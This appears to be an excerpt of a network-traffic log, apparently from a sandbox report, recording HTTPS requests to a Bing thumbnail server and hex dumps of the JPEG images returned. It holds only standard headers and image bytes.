2024-11-23 01:55:25 UTC	3517	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d dc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 38 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:28:408
2024-11-23 01:55:25 UTC	8192	IN	Data Raw: d9 73 01 ee e2 22 40 d1 ad 9e 5d f4 55 80 d6 9c 59 06 09 76 ee 75 f8 ff 00 27 da 92 11 b7 de c7 b8 43 76 06 08 93 24 fd 17 16 8f fa 6f 51 d8 ef c6 7e 5e 2a 56 00 c7 9d bc 38 07 8e da 14 1d 3c b9 8f 92 75 e9 68 7f ff d4 b5 83 f5 63 08 5b 5d fd 43 3a fc db 98 00 6d c5 c2 aa 47 a8 d1 b6 dc 56 55 0c f4 ef a6 df f0 8f f4 ad ff 00 49 eb d8 ad 57 d0 f0 f0 59 89 41 6b 7d 0f 55 b8 e1 8e 76 fb 1c 2e 73 ef 0d b1 ce 6d 59 2c bf d5 77 ab 43 bf 47 f6 7d 9f ce 2e 57 2b a9 55 7e 73 69 ea b6 66 dc d6 e8 1a 2d a4 b5 ae 68 0d 7f e8 3d 33 8f 76 e6 3b 7f a6 b7 ba 6f 53 fa be cc 66 62 d3 7b 9a 1a dd a4 e5 b7 dc e1 c6 db 6e 77 e8 ac fa 5b 3e 9f f3 6b 0b 2e 5c 98 61 1e 28 cf 2f 11 e2 a8 0a c7 08 ff 00 83 1f 6f d3 fe cb 13 38 9c 6e b4 1e 7b b6 73 ab c1 bd 8c c2 e9 78 d8 d9 37 d8 Data Ascii: s"@]UYvu'Cv$oQ~^*V8<uhc[]C:mGVUIWYAk}Uv.smY,wCG}.W+U~sif-h=3v;oSfb{nw[>k.\a(/o8n{sx7
2024-11-23 01:55:25 UTC	4144	IN	Data Raw: ab 49 c5 4f 72 71 55 5d b2 d4 0d 0d 93 8a ab 70 dd aa 69 98 ed f6 aa 97 0d 8a b4 32 bd d3 61 78 ac fb 97 c5 59 b8 7c d6 7d c1 35 6b 72 59 1c 8f 50 3b 9a 7c 8b 9a ae dc 56 88 96 89 a1 7f 9a b4 6c 66 1f 72 b2 d0 67 91 56 2d dc 86 a2 5d 84 6d 2c 9d aa 74 38 8f 26 b3 21 94 6d e5 aa 43 29 6e 37 54 58 a2 f3 3e 7a 54 4e c3 bd 57 59 80 e3 75 32 69 81 e8 dc d2 b3 11 61 df 1d 2a 9c d7 0e 1b da 9a d3 1f 9a a9 4d 2e 5a ae 20 4c d3 6e eb 51 ef cb 54 12 3f cb 4c 57 61 cd 5a 44 9a 91 c9 8e 2a 55 b8 d8 b9 ac db 69 77 37 3d 6a 79 0e 7a 54 b4 34 68 5b 5f 7c df 7b ee d7 43 a1 ea f1 96 58 dd ab 88 c1 5e 69 f1 dd 14 65 d9 bb 2b 50 e0 98 cf 41 9e e9 0b 70 db 85 54 b8 98 1e 45 72 90 ea 32 2b 7d fe 2a fc 3a 98 78 ea 39 2c 52 65 fb 89 aa a9 bb 28 d5 15 c4 db 97 22 b3 ee 25 c3 7b Data Ascii: IOrqU]pi2axY\|}5krYP;\|VlfrgV-]m,t8&!mC)n7TX>zTNWYu2iaM.Z LnQT?LWaZDUiw7=jyzT4h[_\|{CX^ie+PApTEr2+}*:x9,Re("%{
2024-11-23 01:55:25 UTC	8192	IN	Data Raw: d2 54 52 4b 9e 94 05 89 9e 6e d4 55 65 7c b5 15 2d 5c 76 47 c2 eb 45 3b 9a 4c 57 ea c7 e7 a3 5a 8f ad 2b 51 41 43 30 29 29 f8 06 8c 52 1a 23 61 49 8c 53 f0 4d 1b 70 de f4 01 1b d3 5f 35 36 32 d8 ef 4e d8 fb b1 b6 93 63 51 64 da 5d ad c3 c2 d2 47 13 32 f4 dd 5d 6d 8f 80 2e b5 4b 18 e5 b4 f9 64 6f e1 91 6a 0f 06 25 bc 2a b2 5c cb b5 63 6f f5 5f 7b 71 af 6e f8 7f 04 92 5b ad cc eb fb b9 3e ea b7 e9 5e 4e 37 19 3a 3a c4 f5 f0 78 48 54 8f bc 7c e9 e2 2f 0d 6a 1a 25 d7 91 78 bc ff 00 79 6a 4d 17 ca 49 bf 85 4b 2e 37 57 b9 fc 50 d0 f4 cb db 59 25 75 dc 57 3f 32 d7 85 ea b6 a6 d2 f1 a3 46 f9 77 7c ad 57 86 c5 7d 62 9f 99 15 b0 de c2 7a 6c 77 be 09 bc b3 b1 e9 f3 33 7f 15 75 ba 96 b9 6c 61 c0 6a f1 ab 1b c9 44 7b 23 fb df de a9 7f b6 2e e3 9b 64 f2 ee fe ef cd 5c Data Ascii: TRKnUe\|-\vGE;LWZ+QAC0))R#aISMp_562NcQd]G2]m.Kdoj%*\co_{qn[>^N7::xHT\|/j%xyjMIK.7WPY%uW?2Fw\|W}bzlw3ulajD{#.d\
2024-11-23 01:55:25 UTC	8192	IN	Data Raw: bd 83 c0 3e 16 d3 fc 33 63 f6 3d 3e 3d a1 b9 66 fe 26 af 9a cd 33 5a 6e 9c a9 41 ea 7b f8 1c be 70 92 a9 33 a2 b7 5d ab c5 58 41 9a 21 8e a6 55 af 93 3d 90 45 a7 28 a5 a3 38 a0 06 48 b9 a8 24 15 61 ce 6a 3d b9 a0 08 18 55 6b ab 68 e4 fb eb 57 24 38 e2 a0 73 9a 06 8a b0 c3 24 7b 8f 6f e1 a8 ae ac fc e9 23 23 aa d6 82 0d d5 65 22 40 bf 76 81 dc e7 ae bc 33 a5 5e 4d e6 dc d8 c1 2c 9f de 65 dd 56 b4 fd 16 c2 ce 3d 96 f6 d1 c6 3f d9 5a d8 c0 5a 85 db e6 e2 ab 9e 4d 5a e4 90 43 65 14 4d f2 2e da 7b af a7 4a 7b b9 a8 d9 c9 a9 18 42 31 d6 a5 a6 20 cd 4a 06 da 01 8a 8d b6 83 26 69 ad 4d c5 02 24 53 52 f3 50 29 c5 3d 4d 00 49 9f 7a 33 ef 4d 5e 69 7a 50 03 e9 ad 4b 9a 6b 1a 00 46 14 c6 a7 31 a8 9c d0 03 f3 49 9f 7a 66 ea 37 50 04 8a 68 63 4c dd 4d 66 a0 07 e6 9a cd Data Ascii: >3c=>=f&3ZnA{p3]XA!U=E(8H$aj=UkhW$8s${o##e"@v3^M,eV=?ZZMZCeM.{J{B1 J&iM$SRP)=MIz3M^izPKkF1Izf7PhcLMf
2024-11-23 01:55:25 UTC	8192	IN	Data Raw: 1a 7a 2d ab 2a 05 e2 bc bc e2 a4 55 4f 67 1e 87 66 5f 16 e9 f3 b7 ab 3a 0b 55 c2 d5 85 aa b6 af b9 56 ad 20 af 0c ec 16 86 a7 73 4d a0 02 93 34 8c 69 3a d0 00 dc d1 8a 5a 16 80 15 69 69 b9 f7 a6 b3 50 03 9b 15 14 8a 0d 2e e2 68 6a 00 ab 22 62 a0 75 ab cc 33 55 e4 5c 50 32 ab ad 57 99 6a d4 83 15 5e 63 8a 92 91 55 c5 44 d5 2c 84 54 2e c0 d0 58 c6 24 52 6e 22 95 98 1a 63 9a 68 01 9c d2 ac 95 03 b5 31 9c d1 60 2d 34 d8 a6 b4 f5 55 a4 a8 64 70 7a 51 60 2e 3d ce 7f 8a a3 6b 8c 55 09 25 f9 be f5 44 f3 e2 8b 01 7e 4b 9c d3 a3 9b e5 c9 ac 96 b8 a7 2d ce 29 81 a6 f2 83 51 4d 28 aa 8d 71 95 fb d5 03 dc 65 b3 be 95 80 b1 24 99 e9 50 c9 51 ac bb a9 f9 f7 a6 04 38 cd 47 73 1e 16 ac b2 e6 97 cb 2c b8 a0 0c 92 b9 6c 54 4d 0f cb 9a d7 fb 23 1a 8a e2 0c 2d 3b 81 9a b8 55 Data Ascii: z-*UOgf_:UV sM4i:ZiiP.hj"bu3U\P2Wj^cUD,T.X$Rn"ch1`-4UdpzQ`.=kU%D~K-)QM(qe$PQ8Gs,lTM#-;U
2024-11-23 01:55:25 UTC	8192	IN	Data Raw: 77 6f 3b bf 87 8a c9 4b 5d 0d 25 15 6d 4a 4f 6f 26 ed 9e 53 62 99 b6 48 6f 16 35 5d a1 bf 91 ad 0b 0b a0 5b 63 b6 e3 ff 00 8e d5 87 b4 8f fd 7b ae e6 5f bb fe cd 37 26 b7 12 8a 63 92 ce 47 b7 e5 96 3d ab 55 fe d2 22 5c c8 cb f2 ad 5b 8e eb 6c 78 0a d9 e3 ef 2f 19 ac 9d 4a 34 69 30 eb b8 7f 13 7d da ce 9a 6d b4 cb 9c 92 57 44 cb aa 3c ed b2 26 da 3f dd aa 37 24 19 99 ca b6 59 aa 38 55 12 46 68 95 b0 bc 7d da 9e d6 29 25 b8 c0 65 c7 56 f9 77 7f fa ab a1 41 47 63 1e 67 2d 04 84 19 78 8a 3f 33 a0 fb d4 56 c4 1a 63 c1 1b 4e ec b9 ea ab f4 f7 f5 a2 b2 f6 88 b5 4d d8 f5 a5 19 a5 55 25 b1 4f c5 2a 8c 37 1f 2d 7b 4c f1 51 7e ce 33 6c cb 20 9f e6 eb f2 d7 75 e0 bd 7a e1 da 28 c3 73 b8 6e af 3a 57 23 f8 ab 53 44 d4 3e cb 26 51 7e 66 ae 0c 56 1f da 43 6d 4e dc 36 23 Data Ascii: wo;K]%mJOo&SbHo5][c{_7&cG=U"\[lx/J4i0}mWD<&?7$Y8UFh})%eVwAGcg-x?3VcNMU%O*7-{LQ~3l uz(sn:W#SD>&Q~fVCmN6#
2024-11-23 01:55:25 UTC	8192	IN	Data Raw: 69 58 a3 5d 6e 07 4a 72 dc 56 33 dc 3d 3e 1b 83 de 8d 45 64 6c 09 01 a6 b9 dd f4 aa 11 ca 59 b8 a9 92 43 4a e1 6b 13 34 41 aa bc 91 81 d6 9d e7 e2 a0 b8 97 34 00 93 6c db 81 59 f7 3c 54 ee c6 a9 dc b9 35 40 43 70 c0 2d 65 de 4e 15 be 5a b9 74 df 2d 65 df 29 35 71 40 c6 c9 31 6f a5 54 9e 70 1b 9a 7b b6 d8 db 3d 6b 3a 69 37 35 6f 08 dd 99 b6 45 74 d9 6c a2 d4 96 0c c5 b0 57 69 a8 9d 5c f2 3f 86 b3 b5 ef 13 68 fe 1d 8e 3b 8d 4e 76 8c 48 d8 5d b1 97 6f d2 ba ef 18 41 ca 4e c9 18 ea e5 65 b9 c9 7e d2 0f 71 26 a9 a1 db 5b a6 d0 ab 23 dc c9 b7 e6 d9 c0 0b f8 9a e6 3c 33 a5 69 77 5e 0d d4 df fe 12 3d 3d 8c 5a 6c c9 73 1b 48 8b e5 96 1c af 5e bd aa a7 c6 ef 89 3f d9 ba c5 b5 cf 89 1a 78 23 bc 90 c7 65 1c 50 0d b6 f6 f9 c9 66 1c 92 c4 57 09 f1 db c6 1e 06 d5 7e 17 Data Ascii: iX]nJrV3=>EdlYCJk4A4lY<T5@Cp-eNZt-e)5q@1oTp{=k:i75oEtlWi\?h;NvH]oANe~q&[#<3iw^==ZlsH^?x#ePfW~
2024-11-23 01:55:25 UTC	8192	IN	Data Raw: 8d d9 a8 2f ca 08 f3 f8 54 93 2a 4b fb c3 f2 b3 54 33 26 5b 96 e1 6a 80 af 0b 0d ac 0e ed d5 f4 6f c3 44 b2 d3 7e 0b d8 ea fa 84 f2 5c c6 bb b6 c5 1c 63 64 79 3c f5 e3 23 d6 bc 03 45 8a de 7d 4a 28 ef 25 58 ed f7 7e f1 97 e5 e2 bd e3 41 d6 62 9f c0 2d 65 6d 14 12 45 1a 84 b6 82 46 f9 5a 31 f7 99 b3 c0 04 fe 75 f2 dc 4b 46 55 68 42 2a f6 ba 6c ef c1 bb 49 b3 77 4e f1 45 9e a9 e1 99 c6 98 b3 c5 1f 98 03 4e ca 36 a8 e8 14 7a 9f 61 4c b6 d2 e0 f1 3f 8c ac f4 0d 77 4f be 6d 35 b6 bb 2c 52 05 f3 10 7f 79 87 f2 ac dd 3f 47 79 34 5b 1d 21 f4 f6 69 23 9c cd 73 1d a3 6e 8f 07 9c 31 e3 3f 85 7b 2f c0 dd 0a e1 f4 3b 98 bf b0 6d ae ae 56 7f dd 4b 2c 7f ea 63 03 e5 1f 85 7c 46 17 0f 4e 38 89 4e 93 b3 bb b7 97 99 ea d2 a7 29 cb de 3a 0b 5d 3f 40 f0 46 9e ba 3c 1a 57 d9 Data Ascii: /TKT3&[joD~\cdy<#E}J(%X~Ab-emEFZ1uKFUhBlIwNEN6zaL?wOm5,Ry?Gy4[!i#sn1?{/;mVK,c\|FN8N):]?@F<W
2024-11-23 01:55:25 UTC	8192	IN	Data Raw: f9 0b b4 2a c6 9d 98 ff 00 85 6d fc 4b 43 e2 5f 88 9a bf 8a 23 b3 9e 4b 16 bd 90 45 2c 8b fb b6 d9 85 c8 fe f1 fd 2b cf bc 59 e2 1b cb bb e8 ad e7 9f 74 56 ab b1 63 55 c2 af d6 ba f0 f7 a9 18 51 5b 47 73 93 10 d2 94 a4 fa ec 62 6a d6 d2 a5 bc 77 32 4a d2 4b 2b 16 66 6a 2d 67 b8 82 15 44 97 cb 0c df 79 7e f5 37 56 ba b9 ba 86 21 e5 79 76 d1 b6 23 a6 cc 81 23 8f 0d f3 33 61 6b db b2 d8 f3 ba 8f d4 bc b4 8d 50 7d e6 e5 9a a8 6f 2b 1f c9 52 dd 02 d7 cd 9f ef 54 77 18 4d c3 b6 ef e1 a6 d5 90 1a 3e 19 d1 f5 3f 10 de 7d 8b 4a d3 e4 bc b9 65 2e d1 c4 b9 da 07 52 4f 61 55 b5 bd 3a ef 4e d4 3e c1 72 b1 c7 32 fd e5 56 0d b7 f1 15 d0 fc 2d d4 6d ed 6d f5 68 de 59 6d ae 67 b6 29 03 2b 6d 56 ff 00 64 fa 83 58 1a 4d b4 97 9a f7 d9 8f 97 e6 6e 23 f7 92 05 5f ce b9 15 59 Data Ascii: *mKC_#KE,+YtVcUQ[Gsbjw2JK+fj-gDy~7V!yv##3akP}o+RTwM>?}Je.ROaU:N>r2V-mmhYmg)+mVdXMn#_Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49768	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:24 UTC	375	OUT	GET /th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:25 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 634564 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 51C5D89427AC429F8D5271F246794F89 Ref B: EWR30EDGE1020 Ref C: 2024-11-23T01:55:25Z Date: Sat, 23 Nov 2024 01:55:24 GMT Connection: close
2024-11-23 01:55:25 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a a0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 38 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:28:028
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: 22 16 4a 4d b5 3e ca 46 4a 40 41 b6 93 6d 4e c9 48 c9 54 04 2c b4 9b 6a 6d b4 8c b4 01 03 03 4b b6 a5 db 49 40 11 62 92 a5 db 49 b7 14 01 1d 23 0a 93 6d 1b 68 02 2a 4d b5 2e da 4d b4 01 16 da 46 15 2e da 46 5a 00 89 85 35 85 4c cb 48 cb 40 11 50 c2 a4 a4 db 40 11 ed a4 db 52 30 a4 c5 16 01 94 98 a7 d0 c3 14 00 cc 51 8a 72 d2 f3 48 68 d7 f0 1d aa 5c eb d1 87 5d db 7f 86 bd 86 c5 02 7e ec 74 5a f2 0f 03 1b 94 d6 23 fb 3a ed 2c d8 dc df 75 7d 6b d7 f4 95 73 1e 64 6d cd 5e 16 65 7f 68 8f 5f 07 fc 32 ea 2d 39 96 9e ab 4b b6 bc d3 a8 8b 65 35 97 15 63 6d 46 eb 40 10 b2 fa d2 2c 78 6a 9b 6d 2a ae 68 01 8a b4 ec 66 97 18 a1 b8 a0 06 32 d3 58 53 99 a9 ad 40 02 8a 55 41 4a 83 34 f5 14 00 d5 4a 5d 94 f5 a7 63 34 01 0e ca 19 2a 5c 51 b6 80 2b 32 d3 1d 6a cb 25 31 d2 Data Ascii: "JM>FJ@AmNHT,jmKI@bI#mhM.MF.FZ5LH@P@R0QrHh\]~tZ#:,u}ksdm^eh_2-9Ke5cmF@,xjmhf2XS@UAJ4J]c4*\Q+2j%1
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: ad 4b 7f 69 3d b5 c6 25 89 a3 dd f7 77 52 2a b0 e0 57 42 b5 b4 31 d9 d8 6f 2d cd 3b cb 1b 68 da 43 7b 53 9b 23 a5 16 02 2d bf 37 34 bb 30 bc 54 ca 85 bf 86 94 c6 47 d2 80 3e df 98 40 d5 52 64 8c 37 15 88 b7 d3 8e bb aa 44 bd 62 d8 35 f3 1e c9 9e bf 3a 2e cd 20 15 56 49 f6 f2 1a a4 8e 68 df ef d2 b4 10 3f 22 9a 49 0b 52 aa 5d b9 91 76 6e cd 6c 5b db dc 35 be f9 6e 76 b7 f7 56 a8 b5 b4 69 ca 54 b8 22 3e 5a 9e 9d 03 52 c2 e8 b7 77 16 ed 25 bc ea c7 fd aa aa fa 2e bf 0c ca 65 81 a5 8f fe 99 b0 6a bd a5 6a 7f 65 93 cb 92 5d aa d5 d1 d8 de 09 d7 31 ce ac 29 7b 59 c7 a6 81 ec e3 23 9d b3 b5 96 39 17 ed 3e 7c 5f dd 5d b5 aa 91 a4 51 ef 93 76 2b 61 b0 cb f3 ed 6a 14 c1 f7 0d 63 29 f3 33 45 1b 18 49 7f 66 f2 6c f3 76 ed a6 dd 6a 36 f0 cc a3 cd 56 ad bb 8b 7b 37 e4 Data Ascii: Ki=%wR*WB1o-;hC{S#-740TG>@Rd7Db5:. VIh?"IR]vnl[5nvViT">ZRw%.ejje]1){Y#9>\|_]Qv+ajc)3EIflvj6V{7
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: e1 5b 49 e2 f3 06 e6 82 42 9e 5a 7e 39 dc 6b c6 23 8e cd ad d4 c9 3f 97 27 f1 7f b2 3e 95 14 96 c8 f2 32 5b 4a d2 2f 5d df 75 ab 9e a6 0e 8c b7 5a 9b 43 15 52 3b 3d 0f b1 fc 1b e3 cf 03 f8 bb ca 8f 4a d6 15 6e 64 5c b5 b4 bf 23 af b7 cd 8a dc 6b 4b 39 ee a4 b7 83 51 b6 69 62 ff 00 59 1a ce 19 97 ea 33 5f 12 d8 e9 b7 23 6c f2 ce d6 c5 57 30 36 ed ad 91 fc aa ce 95 77 ac 5b 5c 4b 2c 1a 9b 45 23 7c 92 4a d2 9d cc 33 fa d7 9b 57 2f 8a 7e e4 b4 3b 61 8c 6f 78 9f 66 dd 78 76 e1 97 72 32 d6 79 f0 bd cb b7 cf d6 be 76 d0 fe 30 fc 40 d2 b4 78 ec ad f5 af 36 18 24 f9 64 b9 84 3b c8 3d 32 79 c5 7a 07 86 3f 68 fb 39 b7 0d 7f 43 9e db 6b 01 e6 db 48 1d 7d fa ff 00 4a e7 78 5a d1 f8 5d cd a3 88 a4 f7 3d 3a 1d 06 ee 26 d9 4f b8 d2 2e 23 5f ba d9 6a 8f c1 ff 00 10 3c 35 Data Ascii: [IBZ~9k#?'>2[J/]uZCR;=Jnd\#kK9QibY3_#lW06w[\K,E#\|J3W/~;aoxfxvr2yv0@x6$d;=2yz?h9CkH}JxZ]=:&O.#_j<5
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: 54 ce 4b 62 a2 9b d4 a8 b0 ef f3 23 8d 59 b7 67 cc 6e 77 2e 7d 69 77 45 0d ab 07 89 58 af 0a cd f3 37 d4 d4 9a 85 c2 5b db b4 10 45 e6 aa ae 19 95 bd 7f 2a 21 49 5a 38 fe 5d ab 22 fc b1 47 8f 9a a7 a5 d9 7d 4a 91 cb f6 98 56 48 e2 93 ef 79 71 ee c7 5e e6 99 7f 11 2d 81 b9 59 7f bd f2 d6 fc 76 f0 24 8a ee b2 46 b0 2e 59 be ea 2e 7d 07 f1 1a c4 d6 2e 23 46 8d d2 39 3c c9 18 ff 00 ac fb b8 1d c8 14 53 95 de 81 25 65 a9 95 24 2f 04 db ce dd ad f7 7f cf 4a 7c 93 94 8f 9e af f7 b6 af cc b5 66 6d 92 43 88 f6 ca 37 7d ef 2f 6e df ce a9 dc 10 93 33 a2 ed 8f a3 6e ae 95 ae e6 3b 0c be 73 1c 6a 0b 48 dd 0f f7 79 34 db 11 28 93 cc 9d 59 8f 45 5f ad 4b 72 4d c3 2c b2 33 79 6b fe d7 f5 ab 56 26 54 8f fd 6f 3b 7e 5f 33 e5 eb e9 4d e9 12 3a 8f 51 12 48 d2 3f cc cd c2 c6 Data Ascii: TKb#Ygnw.}iwEX7[E*!IZ8]"G}JVHyq^-Yv$F.Y.}.#F9<S%e$/J\|fmC7}/n3n;sjHy4(YE_KrM,3ykV&To;~_3M:QH?
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: e8 6d a4 7b a8 e3 45 59 0c 8c 02 ab 7b d7 56 cb 53 0e aa c4 4c c5 9b fb c3 f8 ab 73 e1 df 86 ae fc 45 ac 2c 45 59 6d 57 fd 64 ab 19 66 5f 61 8e f5 de 78 47 c0 7a 3e 9d 0c 5a a6 b7 6c d7 82 45 ff 00 56 df 34 2a 47 56 ea 3e 5e d9 39 a8 ae 7c 53 6f a7 47 75 1e 9c b0 69 f6 f2 49 88 96 38 19 56 6c f7 cf 70 3d ab c8 ad 98 ba 8a 50 c3 ab be e7 7d 3c 27 2b 52 a8 fe 47 6d e1 3b ad 2a c2 e1 b4 2d 12 d3 cb 48 17 f7 ad 2b 6c dd c7 52 40 fe b5 8f ab 6b 51 41 74 b0 5e dc ac f1 c4 c6 48 e4 dc ea 8a 47 41 ce 33 8a 97 c2 36 3a 85 95 af da f5 0b cd d1 ce db 97 cb f9 77 03 f5 3c 7e b5 8d f1 0a dd 2e 64 51 24 17 37 9b 72 62 8a d1 b7 32 a6 3f 88 8c f1 9a f0 29 d3 84 ab b4 dd fc ff 00 e1 cf 5a 53 6a 9e 87 31 36 9f aa 78 bf 52 64 4b c5 88 46 ac ed 23 30 db 8c f0 02 2f 3f 9d 75 Data Ascii: m{EY{VSLsE,EYmWdf_axGz>ZlEV4GV>^9\|SoGuiI8Vlp=P}<'+RGm;-H+lR@kQAt^HGA36:w<~.dQ$7rb2?)ZSj16xRdKF#0/?u
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: 9d 83 6d 1e cb c0 15 9f 7d 3d c4 1a a4 0e 6f be d9 36 d3 b6 0e 7e 69 3b 0e 80 67 bd 3a 7a fc 2c a9 59 6a d1 76 ce 5c c7 28 b4 89 63 0b 21 76 91 9b 76 e3 df 27 ff 00 d7 50 c6 2e 04 32 3d ec 52 46 6f 23 0e aa cd b1 70 38 00 f2 7a fa 55 1d 56 e5 20 86 da d2 78 b6 86 50 f2 6d 6d aa a0 1c f7 e0 02 7f 3a b9 f6 98 e6 f3 6e 2e ef a3 55 9f 06 db cd 6d cb 18 ec c0 f7 fa 56 8e 2e d7 26 fa 8c b8 37 12 5a c8 6d fc c9 23 82 42 ed 1d b4 03 6b 71 f7 73 eb 9a 9a dd 2f 6f 6d 63 49 60 82 2b 89 f6 f9 8a df 3e d1 9f e3 3d db d8 74 a3 c3 ec 5e 69 e3 d3 e5 9d ad 77 80 b3 b4 9c 7b ed 1c 75 eb 55 bc 58 fa 44 7a 7c 49 73 73 3d 9b 47 23 6d 6d bd ba 67 38 a6 ae e7 c9 6d 43 45 1b 91 f8 d3 50 95 63 6d 2a 15 5b 9b fe 42 f9 0c 17 6a 75 25 f3 f7 78 ae 2a e5 85 95 8e 1e 0f 22 e6 4e 23 89 Data Ascii: m}=o6~i;g:z,Yjv\(c!vv'P.2=RFo#p8zUV xPmm:n.UmV.&7Zm#Bkqs/omcI`+>=t^iw{uUXDz\|Iss=G#mmg8mCEPcm[Bju%x"N#
2024-11-23 01:55:25 UTC	16065	IN	Data Raw: 3f 95 24 fe 23 9e 07 d6 9f 34 9b 4a c3 8a d0 ca b4 69 12 f1 ad e4 89 54 c5 cb 6e cd 6b 5b c5 6e 9a 2d f5 ce ef 30 c2 d1 a2 af bb 1e bf 95 45 a6 e9 d2 4f 1c 97 e6 db 70 59 04 6d e5 b6 ed ae 7b 7e 54 58 5a b5 bc 7e 56 d6 62 df bc 65 6f bb f9 d5 3e 84 f5 29 4c a2 69 3c f4 f9 76 af cc ac df 7b 15 4e fc 0f b5 28 2b ff 00 02 5f bd 53 da c8 4d d3 19 17 69 97 9f f6 5b e9 4d ba 89 04 cd f3 7f 0f dd ac 89 d6 e2 69 b0 bc b7 92 7a 7f b3 5a 36 68 f2 5a b0 8d 77 75 15 4e de ed ed a1 96 0b 2e 92 c7 e5 c8 cd e9 9c d6 b4 28 6d a1 58 9e e6 35 1e 51 75 65 cb 6d 1d 81 f7 a7 2b 58 a8 95 74 d5 8e 28 65 df b9 7f d9 5f 4a a9 a8 14 91 a4 3b 5b e5 51 b5 7f bb 53 a9 8a 18 54 6e f2 e4 db 96 f3 3e eb 1a 87 52 94 c8 b9 91 97 0a bf 75 7f 8b f1 a2 c5 74 31 37 05 65 07 a5 59 b6 25 99 47 Data Ascii: ?$#4JiTnk[n-0EOpYm{~TXZ~Vbeo>)Li<v{N(+_SMi[MizZ6hZwuN.(mX5Quem+Xt(e_J;[QSTn>Rut17eY%G
2024-11-23 01:55:25 UTC	16384	IN	Data Raw: de fc 6b 3f e4 59 30 ed 5b 7a e8 f3 5a 41 67 13 6d 81 42 2a aa fc cc 07 53 c5 64 e9 fe 62 5c 46 e8 ab 24 9b be 55 65 dd fa 57 da 45 24 b4 3e 76 5b 9a f6 22 6b 78 e4 b5 8a f1 ad ad af b1 e6 6e 5f f5 98 f6 1e 95 f4 17 ec f1 6b 6f 65 e1 1f b4 a6 a1 73 a8 5b d9 c8 4e 97 04 f6 c7 62 c8 4e 59 cf a8 c8 1e d9 f5 af 9e f4 ad 36 e7 56 f1 07 91 02 ed 93 97 91 64 60 ab 1e 3a 9e dc 0a fa 87 c1 a8 67 f0 6d 8d 84 76 d2 49 e7 c1 b3 4f 55 c4 63 8e 9f 2a fa 93 9c 9a f9 0e 28 c7 4b 0d 46 30 a6 f5 96 ff 00 d7 f5 d4 ef c0 45 b9 df b1 d5 f8 6e 1b 9d 52 48 2e a7 68 e0 b6 5d d2 48 b1 41 b3 71 3d 36 8e 06 3d 05 45 ab 5e 9b cf 15 59 cf f6 69 22 55 52 16 e6 55 3b 63 45 fb ea 83 d4 e7 93 d6 ae c3 e2 39 74 6b 58 f4 ed 42 29 1a e6 ea 4f b3 44 d6 39 79 b2 bd 77 1e 88 3e 9c d6 05 8d cc Data Ascii: 